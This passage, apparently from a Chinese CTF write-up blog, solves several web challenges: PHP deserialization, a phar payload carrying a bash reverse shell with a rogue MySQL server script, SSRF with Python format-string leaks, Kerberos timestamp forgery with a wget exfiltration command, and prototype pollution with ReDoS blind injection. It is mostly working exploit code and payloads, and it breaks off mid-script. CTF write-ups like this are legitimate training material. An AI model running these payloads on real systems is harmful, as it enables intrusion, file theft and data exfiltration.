class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">trick</span></span>{</span><br><span class="line"> <span class="keyword">public</span> $gf;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">content_to_file</span><span class="params">($content)</span></span>{ </span><br><span class="line"> $passwd = $_GET[<span class="string">'pass'</span>];</span><br><span class="line"> <span class="keyword">if</span>(preg_match(<span class="string">'/^[a-z]+\.passwd$/m'</span>,$passwd)) </span><br><span class="line"> { </span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(strpos($passwd,<span class="string">"20200202"</span>)){</span><br><span class="line"> <span class="keyword">echo</span> file_get_contents(<span class="string">"/"</span>.$content);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> } </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">aiisc_to_chr</span><span class="params">($number)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(strlen($number)><span class="number">2</span>){</span><br><span class="line"> $str = <span class="string">""</span>;</span><br><span class="line"> $number = str_split($number,<span class="number">2</span>);</span><br><span class="line"> <span class="keyword">foreach</span> ($number <span class="keyword">as</span> $num ) {</span><br><span class="line"> $str = $str .chr($num);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> strtolower($str);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> chr($number);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">calc</span><span class="params">()</span></span>{</span><br><span class="line"> $gf=<span class="keyword">$this</span>->gf;</span><br><span class="line"> <span class="keyword">if</span>(!preg_match(<span class="string">'/[a-zA-z0-9]|\&|\^|#|\$|%/'</span>, $gf)){</span><br><span class="line"> <span class="keyword">eval</span>(<span class="string">'$content='</span>.$gf.<span class="string">';'</span>);</span><br><span class="line"> $content = <span class="keyword">$this</span>->aiisc_to_chr($content); </span><br><span class="line"> <span class="keyword">return</span> $content;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->content_to_file(<span class="keyword">$this</span>->calc());</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line">}</span><br><span class="line">unserialize((base64_decode($_GET[<span class="string">'code'</span>])));</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><br>最后反序列化读flag<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://121.37.181.246:6333/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php?code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyMzoifsfJycrHzcvIy8nLycvIyM/IycnKyM4iO30=&pass=a.passwd%0a20200202</span><br></pre></td></tr></table></figure></p>
<h2 id="webct"><a href="#webct" class="headerlink" title="webct"></a>webct</h2><p>有个上传文件的点,和一个连接mysql数据库的点<br>mysql数据库传入的option参数可控,将其设置为8可以开启MYSQLI_OPT_LOCAL_INFILE。<br>但是直接读文件失败了,想到构造phar文件让msyql去读取触发反序列化<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Fileupload</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> $file;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Listfile</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> $file;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$payload=<span class="keyword">new</span> Listfile();</span><br><span class="line">$payload->file=<span class="string">'$(bash -c "bash -i >& /dev/tcp/ip/1234 0>&1")'</span>;</span><br><span class="line">$file=<span class="keyword">new</span> Fileupload();</span><br><span class="line">$file->file=$payload;</span><br><span class="line">unlink(<span class="string">"./phar.phar"</span>);</span><br><span class="line">$phar = <span class="keyword">new</span> Phar(<span class="string">"./phar.phar"</span>);</span><br><span class="line">$phar->startBuffering();</span><br><span class="line">$phar->setStub(<span class="string">"GIF89a<?php __HALT_COMPILER(); ?>"</span>);</span><br><span class="line">$phar->setMetadata($file);</span><br><span class="line">$phar->addFromString(<span class="string">"test.txt"</span>, <span class="string">"test"</span>);</span><br><span class="line"></span><br><span class="line">$phar->stopBuffering();</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize($file));</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><br>上传之后直接用MysqlRouge触发反序列化即可,<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">coding=utf<span class="number">-8</span> </span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line">logging.basicConfig(level=logging.DEBUG)</span><br><span class="line"></span><br><span class="line">filename=<span class="string">"phar:////var/www/html/uploads/846c8ebb95a1fc1828e4fcc14a8902e0/b4bc4fd46f0e346f2bd105c93c5a1b20.jpg"</span></span><br><span class="line">sv=socket.socket()</span><br><span class="line">sv.bind((<span class="string">""</span>,<span class="number">3309</span>))</span><br><span class="line">sv.listen(<span class="number">5</span>)</span><br><span class="line">conn,address=sv.accept()</span><br><span class="line">logging.info(<span class="string">'Conn from: %r'</span>, address)</span><br><span class="line">conn.sendall(<span class="string">"\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"</span>)</span><br><span class="line">conn.recv(<span class="number">9999</span>)</span><br><span class="line">logging.info(<span class="string">"auth okay"</span>)</span><br><span class="line">conn.sendall(<span class="string">"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"</span>)</span><br><span class="line">conn.recv(<span class="number">9999</span>)</span><br><span class="line">logging.info(<span class="string">"want file..."</span>)</span><br><span class="line">wantfile=chr(len(filename)+<span class="number">1</span>)+<span class="string">"\x00\x00\x01\xFB"</span>+filename</span><br><span class="line">conn.sendall(wantfile)</span><br><span class="line">content=conn.recv(<span class="number">9999</span>)</span><br><span class="line">logging.info(content)</span><br><span class="line">conn.close()</span><br></pre></td></tr></table></figure></p>
<p>payload:<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip=ip:port&user=user&password=passsword&option=8</span><br></pre></td></tr></table></figure></p>
<p>最后/readflag<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag:flag{bfa7ea9865f08c320abab5323a1b522c1}</span><br></pre></td></tr></table></figure></p>
<h2 id="fmkq"><a href="#fmkq" class="headerlink" title="fmkq"></a>fmkq</h2><p>审计代码发现可以构造SSRF<br><a href="http://121.37.179.47:1101/?head=\&url=xxx.xxx.xxx.xxx" target="_blank" rel="noopener">http://121.37.179.47:1101/?head=\&url=xxx.xxx.xxx.xxx</a></p>
<p>发现<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">extract($_GET);</span><br><span class="line"><span class="keyword">echo</span> sprintf($begin.<span class="string">'%d'</span>,$output);</span><br></pre></td></tr></table></figure><br>传入<code>begin=%s%</code>,可以读到output,于是得到有回显SSRF<br>扫描内网发现8080端口开放<br><img src="/img/fmkq1.png" alt="fmkq"><br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/?url=http://localhost:8080/read/file=/etc/passwd%26vipcode%3d0&head=\&begin=%s%</span><br></pre></td></tr></table></figure><br>通过这个接口自带的列目录功能可以发现flag在</p>
<p>但是不能直接读<br>但是如果file参数传入{file}时会被解析成error,尝试{file.<strong>class</strong>}之后确定后端为python且存在格式化字符串漏洞</p>
<p>存用<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/?url=http://localhost:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode={file}&head=\&begin=%s%</span><br></pre></td></tr></table></figure><br>可读取到vipcode的值<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">'vipcode': 'uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL</span><br></pre></td></tr></table></figure><br>有了vipcode可以读取源码和列目录,知道flag在<code>/fl4g_1s_h3re_u_wi11_rua</code>里,但是读不了,于是读取项目代码,如下:</p>
<p>/app/base/readfile.py<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> .vip <span class="keyword">import</span> vip</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,file)</span>:</span></span><br><span class="line"> self.file = file</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__str__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.file</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetName</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.file</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">readfile</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__str__</span><span class="params">(self)</span>:</span></span><br><span class="line"> filename = self.GetFileName()</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'..'</span> <span class="keyword">in</span> filename <span class="keyword">or</span> <span class="string">'proc'</span> <span class="keyword">in</span> filename:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"quanbumuda"</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> file = open(<span class="string">"/tmp/"</span> + filename, <span class="string">'r'</span>)</span><br><span class="line"> content = file.read()</span><br><span class="line"> file.close()</span><br><span class="line"> <span class="keyword">return</span> content</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, data)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> re.match(<span class="string">r'file=.*?&vipcode=.*?'</span>,data) != <span class="literal">None</span>:</span><br><span class="line"> data = data.split(<span class="string">'&'</span>)</span><br><span class="line"> data = {</span><br><span class="line"> data[<span class="number">0</span>].split(<span class="string">'='</span>)[<span class="number">0</span>]: data[<span class="number">0</span>].split(<span class="string">'='</span>)[<span class="number">1</span>],</span><br><span class="line"> data[<span class="number">1</span>].split(<span class="string">'='</span>)[<span class="number">0</span>]: data[<span class="number">1</span>].split(<span class="string">'='</span>)[<span class="number">1</span>]</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'file'</span> <span class="keyword">in</span> data.keys():</span><br><span class="line"> self.file = File(data[<span class="string">'file'</span>])</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'vipcode'</span> <span class="keyword">in</span> data.keys():</span><br><span class="line"> self.vipcode = data[<span class="string">'vipcode'</span>]</span><br><span class="line"> self.vip = vip()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">test</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'file'</span> <span class="keyword">not</span> <span class="keyword">in</span> dir(self) <span class="keyword">or</span> <span class="string">'vipcode'</span> <span class="keyword">not</span> <span class="keyword">in</span> dir(self) <span class="keyword">or</span> <span class="string">'vip'</span> <span class="keyword">not</span> <span class="keyword">in</span> dir(self):</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">isvip</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> self.vipcode == self.vip.GetCode():</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetFileName</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.file.GetName()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">current_folder_file = []</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">vipreadfile</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,readfile)</span>:</span></span><br><span class="line"> self.filename = readfile.GetFileName()</span><br><span class="line"> self.path = os.path.dirname(os.path.abspath(self.filename))</span><br><span class="line"> self.file = File(os.path.basename(os.path.abspath(self.filename)))</span><br><span class="line"> <span class="keyword">global</span> current_folder_file</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> current_folder_file = os.listdir(self.path)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> current_folder_file = current_folder_file</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__str__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'fl4g'</span> <span class="keyword">in</span> self.path:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'nonono,this folder is a secret!!!'</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> output = <span class="string">'''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''</span></span><br><span class="line"> filepath = (self.path + <span class="string">'/{vipfile}'</span>).format(vipfile=self.file)</span><br><span class="line"> output += filepath</span><br><span class="line"> output += <span class="string">'\r\n\r\nThe content is:\r\n'</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> f = open(filepath,<span class="string">'r'</span>)</span><br><span class="line"> content = f.read()</span><br><span class="line"> f.close()</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> content = <span class="string">'can\'t read'</span></span><br><span class="line"> output += content</span><br><span class="line"> output += <span class="string">'\r\n\r\nOther files under the same folder:\r\n'</span></span><br><span class="line"> output += <span class="string">' '</span>.join(current_folder_file)</span><br><span class="line"> <span class="keyword">return</span> output</span><br><span class="line">``` </span><br><span class="line">/app/base/vip.py</span><br><span class="line">```python</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">vipcode = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">vip</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">global</span> vipcode</span><br><span class="line"> <span class="keyword">if</span> vipcode == <span class="string">''</span>:</span><br><span class="line"> vipcode = <span class="string">''</span>.join(random.sample(string.ascii_letters+string.digits, <span class="number">48</span>))</span><br><span class="line"> self.truevipcode = vipcode</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> self.truevipcode = vipcode</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetCode</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.truevipcode</span><br></pre></td></tr></table></figure><br>/app/app.py<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> web</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> unquote</span><br><span class="line"><span class="keyword">from</span> base.readfile <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">urls = (</span><br><span class="line"> <span class="string">'/'</span>, <span class="string">'help'</span>,</span><br><span class="line"> <span class="string">'/read/(.*)'</span>,<span class="string">'read'</span></span><br><span class="line">)</span><br><span class="line">web.config.debug = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">help</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GET</span><span class="params">(self)</span>:</span></span><br><span class="line"> help_information = <span class="string">'''</span></span><br><span class="line"><span class="string"> Welcome to our FMKQ api, you could use the help information below</span></span><br><span class="line"><span class="string"> To read file:</span></span><br><span class="line"><span class="string"> /read/file=example&vipcode=example</span></span><br><span class="line"><span class="string"> if you are not vip,let vipcode=0,and you can only read /tmp/{file}</span></span><br><span class="line"><span class="string"> Other functions only for the vip!!!</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="keyword">return</span> help_information</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">read</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GET</span><span class="params">(self,text)</span>:</span></span><br><span class="line"> file2read = readfile(text)</span><br><span class="line"> <span class="keyword">if</span> file2read.test() == <span class="literal">False</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> file2read.isvip() == <span class="literal">False</span>:</span><br><span class="line"> <span class="keyword">return</span> (<span class="string">"The content of "</span>+ file2read.GetFileName() +<span class="string">" is {file}"</span>).format(file=file2read)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> vipfile2read = vipreadfile(file2read)</span><br><span class="line"> <span class="keyword">return</span> (str(vipfile2read))</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> app = web.application(urls, globals())</span><br><span class="line"> app.run()</span><br></pre></td></tr></table></figure></p>
<p>path中不能有fl4g,但是读取flag必定会吧上一级当成path,<br>发现vipfile和file一样存在格式化字符串漏洞,想到构造一个f绕过对fl4g的过滤,<br>payload:<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/?url=http://localhost:8080/read/file={vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL&head=\&begin=%s%</span><br></pre></td></tr></table></figure></p>
<p>flag:<br>flag{qoSF2nKvwoGRI7aJ}</p>
<h2 id="Dooog"><a href="#Dooog" class="headerlink" title="Dooog"></a>Dooog</h2><p>通读代码,看起来是个kerberos协议<br>核心就是伪造一个时间戳,绕过对cmd的验证<br><img src="/img/dooog1.png" alt="dooog"><br>然后直接/readflag<br>exp:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> username =<span class="string">"xishir"</span></span><br><span class="line"> master_key = <span class="string">"12345678"</span></span><br><span class="line"> cmd = <span class="string">"wget xxxx/`/readflag`"</span></span><br><span class="line"> cryptor = AESCipher(master_key)</span><br><span class="line"> authenticator = cryptor.encrypt(json.dumps({<span class="string">'username'</span>:username, <span class="string">'timestamp'</span>: int(time.time())}))</span><br><span class="line"> res = requests.post(<span class="string">'http://121.37.164.32:5001/getTGT'</span>, data={<span class="string">'username'</span>: username, <span class="string">'authenticator'</span>: base64.b64encode(authenticator)})</span><br><span class="line"> <span class="keyword">print</span> res.text</span><br><span class="line"> session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.split(<span class="string">'|'</span>)[<span class="number">0</span>])), res.content.split(<span class="string">'|'</span>)[<span class="number">1</span>]</span><br><span class="line"> cryptor = AESCipher(session_key)</span><br><span class="line"> authenticator = cryptor.encrypt(json.dumps({<span class="string">'username'</span>: username, <span class="string">'timestamp'</span>: int(time.time())<span class="number">-61</span>}))</span><br><span class="line"> res = requests.post(<span class="string">'http://121.37.164.32:5001/getTicket'</span>, data={<span class="string">'username'</span>: username, <span class="string">'cmd'</span>: cmd, <span class="string">'authenticator'</span>: base64.b64encode(authenticator), <span class="string">'TGT'</span>: TGT})</span><br><span class="line"> <span class="keyword">print</span> res.text</span><br><span class="line"> client_message, server_message = res.content.split(<span class="string">'|'</span>)</span><br><span class="line"></span><br><span class="line"> session_key = cryptor.decrypt(base64.b64decode(client_message))</span><br><span class="line"> </span><br><span class="line"> cryptor = AESCipher(session_key)</span><br><span class="line"> authenticator = base64.b64encode(cryptor.encrypt(username))</span><br><span class="line"> res = requests.post(<span class="string">'http://121.37.164.32:5002/cmd'</span>, data={<span class="string">'server_message'</span>: server_message, <span class="string">'authenticator'</span>: authenticator})</span><br></pre></td></tr></table></figure></p>
<h2 id="GuessGame"><a href="#GuessGame" class="headerlink" title="GuessGame"></a>GuessGame</h2><p><a href="http://121.37.179.47:8081/static/app.js" target="_blank" rel="noopener">http://121.37.179.47:8081/static/app.js</a> 有后端源码</p>
<p>用<code>ADmin888</code>大小写绕过admin的检查,<br>merge存在原型链污染,可以把config.enableReg改成true,<br>构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{"user":{"username":"ADmin888","__proto__": {"enableReg": true}}}</span><br></pre></td></tr></table></figure><br>然后可以控制进行一次正则匹配,因为没有任何回显,猜测是要redos进行延时盲注<br><img src="/img/guess.png" alt="guess"></p>
<p>exp:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">flag = <span class="string">"g3"</span></span><br><span class="line">ext = <span class="string">"zY"</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">50</span>):</span><br><span class="line"> alls = []</span><br><span class="line"> <span class="keyword">for</span> f <span class="keyword">in</span> <span class="string">"{}_0123456789abcdefghijklmnopqestuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"</span>:</span><br><span class="line"> t = time.time()</span><br><span class="line"> headers = {<span class="string">'Content-Type'</span>: <span class="string">'application/json'</span>}</span><br><span class="line"> payload = <span class="string">"""{"q":"^((.*)+)+[^%s]%s$","tmp":"%d"}"""</span> % (f, ext, t)</span><br><span class="line"> <span class="comment">#payload = """{"q":"^(((.*)+?)+?)+?[^%s]%s$","tmp":"%d"}""" % (f, ext, t)</span></span><br><span class="line"> <span class="comment">#print payload</span></span><br><span class="line"> r = requests.post(url=<span class="string">"http://121.37.179.47:8081/verifyFlag"</span>, headers=headers, data=payload)</span><br><span class="line"> tt = time.time() - t</span><br><span class="line"> alls.append({<span class="string">"time"</span>:tt,<span class="string">"v"</span>:f})</span><br><span class="line"> <span class="keyword">print</span> f,tt,r,len(r.text),payload</span><br><span class="line"></span><br><span class="line"> alls.sort()</span><br><span class="line"> ext = alls[<span class="number">-1</span>][<span class="string">"v"</span>] + ext</span><br><span class="line"> <span class="keyword">print</span> alls[<span 